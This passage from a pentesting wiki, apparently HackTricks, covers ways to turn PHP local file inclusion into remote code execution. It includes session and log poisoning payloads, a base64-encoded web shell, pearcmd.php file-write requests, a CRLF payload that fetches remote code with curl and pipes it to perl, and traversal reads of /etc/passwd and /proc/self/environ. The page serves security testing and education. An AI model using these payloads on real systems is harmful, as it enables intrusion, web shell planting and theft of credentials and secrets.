 ### Via PHP sessions
 
 Check if the website use PHP Session (PHPSESSID)
 
 ```text
 Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
 Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
 ```
 
 In PHP these sessions are stored into _/var/lib/php5/sess\\_\[PHPSESSID]\_ files
 
 ```text
 /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
 user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
 ```
 
 Set the cookie to `<?php system('cat /etc/passwd');?>`
 
 ```text
 login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
 ```
 
 Use the LFI to include the PHP session file
 
 ```text
 login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
 ```
 
 ### Via ssh
 
 If ssh is active check which user is being used (/proc/self/status & /etc/passwd) and try to access **\<HOME>/.ssh/id_rsa**
 
 ### **Via** **vsftpd** _**logs**_
 
 The logs for the FTP server vsftpd are located at _**/var/log/vsftpd.log**_. In the scenario where a Local File Inclusion (LFI) vulnerability exists, and access to an exposed vsftpd server is possible, the following steps can be considered:
 
 1. Inject a PHP payload into the username field during the login process.
 2. Post injection, utilize the LFI to retrieve the server logs from _**/var/log/vsftpd.log**_.
 
 ### Via php base64 filter (using base64)
 
 As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with ".php", and it would just ignore the "." and append "php" to the base64. Here is an example payload:<sup>[[4]](#references)</sup>
 
 ```text
 http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
 
 NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
 ```
 
 ### Via php filters (no file needed)
 
 This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file.<sup>[[11]](#references)</sup>
 
 
 [Lfi2Rce Via Php Filters](/hacktricks/pentesting-web/file-inclusion/lfi2rce-via-php-filters)
 
 ### Via segmentation fault
 
 **Upload** a file that will be stored as **temporary** in `/tmp`, then in the **same request,** trigger a **segmentation fault**, and then the **temporary file won't be deleted** and you can search for it.
 
 
 [Lfi2Rce Via Segmentation Fault](/hacktricks/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault)
 
 ### Via Nginx temp file storage
 
 If you found a **Local File Inclusion** and **Nginx** is running in front of PHP you might be able to obtain RCE with the following technique:
 
 
 [Lfi2Rce Via Nginx Temp Files](/hacktricks/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files)
 
 ### Via PHP_SESSION_UPLOAD_PROGRESS
 
 If you found a **Local File Inclusion** even if you **don't have a session** and `session.auto_start` is `Off`. If you provide the **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data, PHP will **enable the session for you**. You could abuse this to get RCE:
 
 
 [Via Php Session Upload Progress](/hacktricks/pentesting-web/file-inclusion/via-php-session-upload-progress)
 
 ### Via temp file uploads in Windows
 
 If you found a **Local File Inclusion** and and the server is running in **Windows** you might get RCE:
 
 
 [Lfi2Rce Via Temp File Uploads](/hacktricks/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads)
 
 ### Via `pearcmd.php` + URL args
 
 As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).<sup>[[12]](#references)</sup><sup>[[13]](#references)</sup><sup>[[14]](#references)</sup><sup>[[15]](#references)</sup><sup>[[19]](#references)</sup>
 
 The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
 
 ```bash
 GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
 ```
 
 The following abuses a CRLF vuln to get RCE (from [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):<sup>[[14]](#references)</sup>
 
 ```text
 http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
 Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
 Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
 %0d%0a
 ```
 
 ### Via phpinfo() (file_uploads = on)
 
 If you found a **Local File Inclusion** and a file exposing **phpinfo()** with file_uploads = on you can get RCE:
 
 
 [Lfi2Rce Via Phpinfo](/hacktricks/pentesting-web/file-inclusion/lfi2rce-via-phpinfo)
 
 ### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
 
 If you found a **Local File Inclusion** and you **can exfiltrate the path** of the temp file BUT the **server** is **checking** if the **file to be included has PHP marks**, you can try to **bypass that check** with this **Race Condition**:
 
 
 [Lfi2Rce Via Compress.Zlib + Php Stream Prefer Studio + Path Disclosure](/hacktricks/pentesting-web/file-inclusion/lfi2rce-via-compress-zlib-php-stream-prefer-studio-path-disclosure)
 
 ### Via eternal waiting and brute force
 
 If you can abuse the LFI to **upload temporary files** and make the server **hang** the PHP execution, you could then **brute force filenames during hours** to find the temporary file:
 
 
 [Lfi2Rce Via Eternal Waiting](/hacktricks/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting)
 
 ### To Fatal Error
 
 If you include any of the files `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (You need to include the same one 2 time to throw that error).
 
 **I don't know how is this useful but it might be.**\
 _Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
 
 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281031%29.png" alt=""><figcaption></figcaption></figure>
 
 
 ### Preserve traversal sequences from the client
 
 Some HTTP clients normalize or collapse `../` before the request reaches the server, breaking directory traversal payloads. Use `curl --path-as-is` to keep traversal untouched when abusing log/download endpoints that concatenate a user-controlled filename, and add `--ignore-content-length` for pseudo-files like `/proc`:<sup>[[16]](#references)</sup>
 
 ```bash
 curl --path-as-is -b "session=$SESSION" \
   "http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
   --ignore-content-length -s | tr '\000' '\n'
 ```
 
 Tune the number of `../` segments until you escape the intended directory, then dump `/etc/passwd`, `/proc/self/cwd/app.py`, or other source/config files.
 
 ## References
 
 - [1] [PayloadsAllTheThings – File Inclusion Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion/Intruders)
 - [2] [PayloadsAllTheThings – File Inclusion](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion)
 - [3] [Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File? (archived)](https://web.archive.org/web/20260000000000id_/https://swarm.ptsecurity.com/blind-trust-what-is-hidden-behind-the-process-of-creating-your-pdf-file/)
 - [4] [matan-h – One LFI Bypass to Rule Them All (Using Base64)](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64)
 - [5] [HTB: Gavel](https://0xdf.gitlab.io/2026/03/14/htb-gavel.html)
 - [6] [Synacktiv – PHP filter chains: file read from error-based oracle](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle)
 - [7] [Lexfo/Ambionics – Iconv, set the charset to RCE: Exploiting the glibc to hack the PHP engine (part 1)](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)
 - [8] [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
 - [9] [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
 - [10] [When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise](https://www.rcesecurity.com/2025/09/when-audits-fail-four-critical-pre-auth-vulnerabilities-in-trufusion-enterprise/)
 - [11] [loknop – Solving "includer's revenge" (hxp CTF 2021) without controlling any files](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)
 - [12] [leavesongs – Docker PHP Local File Inclusion Overview (pearcmd.php getshell)](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html)
 - [13] [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
 - [14] [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
 - [15] [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
 - [16] [HTB: Imagery (admin log download traversal + `/proc/self/environ` read)](https://0xdf.gitlab.io/2026/01/24/htb-imagery.html)
 - [17] [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
 - [18] [@trbughunters – Top 25 LFI parameters](https://twitter.com/trbughunters/status/1279768631845494787)
 - [19] [Docker PHP LFI Summary / pearcmd.php getshell](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)
 - [20] [docs.python.org - Library - Os.path: Os.path.join](https://docs.python.org/3.10/library/os.path.html#os.path.join)
 
 [En Local File Inclusion 1.Pdf](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/file-inclusion/EN-Local-File-Inclusion-1.pdf)